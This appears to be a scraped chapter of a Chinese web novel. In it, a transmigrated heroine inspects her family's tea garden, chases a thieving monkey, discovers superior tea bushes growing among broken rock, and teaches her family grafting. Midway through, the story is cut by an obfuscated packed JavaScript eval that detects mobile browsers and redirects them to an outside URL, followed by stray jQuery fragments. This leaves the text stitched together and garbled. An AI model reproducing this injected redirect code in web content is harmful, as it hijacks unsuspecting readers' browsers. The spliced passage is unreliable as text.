元日之后天气便逐渐回暖,春意开始回归大地。
这天,汪家人久违地上了山,去自家茶园里劳作,为四个月后的采茶季做准备。
他们特意挑了一个大晴天,确保山路上没有任何湿泥,就这样汪怜儿还是被簇拥在最中间走。
没办法,实在是上次她跌下去的事太过骇人,要不是汪怜儿自己强烈要求上山,其余家人是根本就不想她去的,连后进门的王云在听汪慎义转述了汪怜儿当时昏迷不醒的惨状后都竭力劝她不要上山。
汪怜儿理解家人们的担心,但是要她一辈子都不上山是不现实的事,她可就生活在群山中。
主要是她需要对自家茶园进行一个全方位的观察,原身的记忆太不靠谱,只有她亲自设身处地去了,才好根据实际情况调整自己接下来要进行的改良计划。
因此这天吃完朝食后一家人便上了山,途中汪怜儿路过当初原身摔下去的地方时还看了看,可能因为已经换了一个灵魂了,她竟丝毫没有感觉。
倒是汪慎玉注意到小妹在探头看,心头一跳赶忙把小妹拉走了。
汪家的茶园面积不算大,在水竹山朝南的山腰处。
这里风景很好,可以远远眺望到练江,它如一条白蛇卧于苍绿山峦中。
茶园是一片斜坡,规划得不太好,里面虽然种满了低矮的茶树,但旁边还有许多灌木没有清理,茶树和灌木有些甚至都混杂了。
而此时的茶树呈现一种暗沉的墨绿色,不像春天时是嫩绿的。
汪家人开始清园,将茶树落下的枯枝败叶清扫堆成一处点着,又将土壤深翻,除去杂草,最后将肥料浇上去就结束了。
汪怜儿一边干活,一边观察着自家茶园的情况。
她蹲在地上,抓起一把土。土壤是深褐色的,土质松散,里面还夹杂着一些些石头碎屑。
茶经中记载:“上者生烂石,中者生砾壤,下者生黄土。”汪家茶园的土便是中者,所以这里所产的茶也算不上顶级。
汪怜儿有些失望,不过来之前她就已经预想到这种情况了。
汪家这么多年一直都只是普普通通的茶农,所拥有的茶园自然也不可能是顶级的。
她又仔细查看了这些茶树,拽了几片叶子尝了尝,味道一般,都是中等品质的茶树,无甚出奇。
这样的茶园是不足以支撑她开茶行的,汪怜儿心中沮丧,面上倒没表现出来,看来她只能从制茶环节上下功夫了。
此时已近午时,一家人收拾的差不多了正准备下山,汪怜儿背着竹筐走在最后,突然,她感到背后的筐里掉进去个什么。
汪怜儿疑惑地回头看,只见竹筐里竟然掉了个红色的野果,她抬头看了看才发现附近的灌木上竟站了只小猴子!
那猴子手中拎着一串野果,一边拽果子一边砸向汪家人身后的竹筐中,似是在玩游戏。
歙州多山,山中多野兽,猴子是很常见的一种动物,水竹山上就有很多,一般来说只要不主动惹它们,就不会有什么事。
汪家人都被砸得回头看,俱是惊奇,今日竟然遇到个活泼的小猴子。
那小猴子看这群人类都在回头看它,一副很得意的样子,它的小眼睛骨碌碌转着,盯上了站在最后的汪怜儿腰上系的荷包,荷包上绣的红花吸引了它。
于是它猛地蹦过去,十分敏捷,汪怜儿还未来得及反应,腰上的系带便被那小猴子锋利的爪子划了一道,荷包被它夺了去。
“哎———”汪怜儿急了,这可是她阿嫂给她绣的。那小猴子抢了荷包后还不跑,站在对面的树上耀武扬威地冲她挥了挥。
汪怜儿怒了,她甩开背上的竹筐追了上去,身后汪家人发出此起彼伏的声音:“怜儿!”“别过去!”“怜儿回来!”
汪怜儿不听,她向猴子站立的树冲去,小猴子看她动真格的追上来了连忙向茶园里面窜去,汪怜儿在后面穷追不舍,其余汪家人只能跟上。
猴子一路逃窜到茶园边缘的灌木丛一头扎了进去再也寻不到踪迹,幸好逃走之前它把手里的荷包甩在了地上,汪怜儿见状便放过她了去拾荷包。
荷包掉在了一棵茶树上,汪怜儿气喘吁吁地向茶树走去,路上却惊讶地发现这边缘处的几棵茶树有些不对劲。
分明茶园里是砾壤,这里却有许多碎石,碎石上生长的茶树看着颜色也不一样些,呈现一种黄绿,像涂了一层油。
汪怜儿心中有了个猜想,她紧张地走近茶树,仔细观察着茶树上的芽头,茶园里的茶树芽头带绒毛,形状扁平,而这几棵茶树的芽头是尖尖的硬硬的,形状像笋。
这不就是茶经中写的“笋者上,牙者次”吗!
她蹲下来拨弄了一下土壤,确定了这里的土是品质更好的碎石松土,茶树根从这些碎石中顽强地长出来。
她扯了一片叶子尝了尝,涩中生甜,味道比其他茶树要好得多。
她一时间懵了,被这巨大的惊喜砸中,谁能想到他们家的中等茶园里竟然藏了几棵极品茶树。
此时汪世德等人也追上来了,汪怜儿立马急切发问:“阿爷,这里怎么会有几棵极品茶树?你从前知道吗?”
她看到阿爷的脸上浮现一个疑惑的表情:“啊?这几株茶树是极品吗?”
果然,她就知道他们家里人是普通茶农根本不懂这些!
汪怜儿压抑着内心的狂喜:“对呀!阿爷你没发现这几棵茶树是长在碎石里的吗?”
“……长在碎石里是好的吗?怜儿,阿爷没听说过这个说法啊。”汪世德挤出一个尴尬的笑,他们这些茶农世代相传的种茶经验里,没有碎石长出来的茶树更好这回事,茶农更多的是靠尝来判断茶叶的好坏。
汪怜儿反应过来了,此时的茶农还没有接触到茶经呢,她立刻编了个谎:“是这样的……这是我去买书时在一本叫《茶经》的书上看到的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382659|200209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
汪家人这才恍然大悟,原来是书上看到的,看来他家怜儿现在是真的识得不少字了。
汪世德欣慰地说道:“怜儿,你现在是个识字的了,好,那《茶经》里当真如此说吗,长在碎石里的茶树是极品?”
汪怜儿信誓旦旦地点头,她拽了片叶子给他尝。汪世德接过来放入嘴中,果然涩苦中透着一丝甘甜,他经验老道,一尝便知此茶树不同寻常。
而与此同时汪怜儿想到,现在才刚开春,这几株茶树数量太少,即便制出了好茶也不能量产,卖不出去,想要实现量产只能趁现在立刻进行嫁接。
她又不确定此时人是否掌握了茶树嫁接的知识,只好又编了个谎:“《茶经》里面还说了,将优质茶树的枝干接到普通茶树上,可使普通茶树同样产出优质茶叶。”
她紧张地看着阿爷,不知道他会不会信。
然而出乎意料地,汪世德听到这话后一副深信不疑的样子,开始和她讨论起该如何嫁接。
汪怜儿不知道的是,此时人的识字率仅有6%,一个村子里能有一两个识字的人便不错了,于是时人对书、读书人有着天然的敬畏,再加上汪世德刚刚尝了那碎石生的茶叶确实味道更好,因此经验丰富如汪世德也轻易相信了她所编的借口。
不管怎样,阿爷信了就好,她连忙和汪世德讨论起来。现在才开春,正是嫁接茶树最好的时候,前世祖父曾教过她如何嫁接,汪怜儿有信心能教会其他家人。
如果今年一次性成功了,那么最多等上三年,她们家的茶就要在这歙州城里出名了。
想到这里汪怜儿十分激动,她的梦想已经似乎近在眼前了。
下山的一路上汪怜儿都在和汪世德讨论具体该如何嫁接,汪世德从前只知道果树可以接干,没想到茶树也可以,他还以为写这《茶经》的人来自峡州光州湖州那些全国顶尖的茶区,那边的种茶技术自然比他们歙州要更好。
一整晚汪怜儿都在用路边拽的树枝给汪家人做示范,教他们具体该如何嫁接,汪家人都眼明心细,很快就都学会了。
次日,一家人带着工具上了山,开始了嫁接。
他们首先按照汪怜儿所说,选出那些根扎得更稳的茶树,其次用镰刀切断茶树上离地一掌宽的枝条,在断面处竖着劈开一刀,然后插进碎石茶树的枝条。
在这个过程中他们将碎石茶树上的枝条削成楔形,并且用嘴含着保持湿润,插进普通茶树的断面时左右对齐。
插好后他们用带来的麻线缠绕住嫁接处打死结,最后用湿泥糊在嫁接的地方,盖住麻线和切口,封住湿气,一切就都大功告成了
因为碎石上长的茶树只有几棵,他们每棵取了1-2根枝条嫁接,也只嫁接了十棵茶树。
没有办法,虽然汪怜儿很是心急,但是一口吃不成个胖子,她只能一步一步慢慢来,如果这十棵嫁接茶树都能活下来,最多不过五年她就可以实现量产了。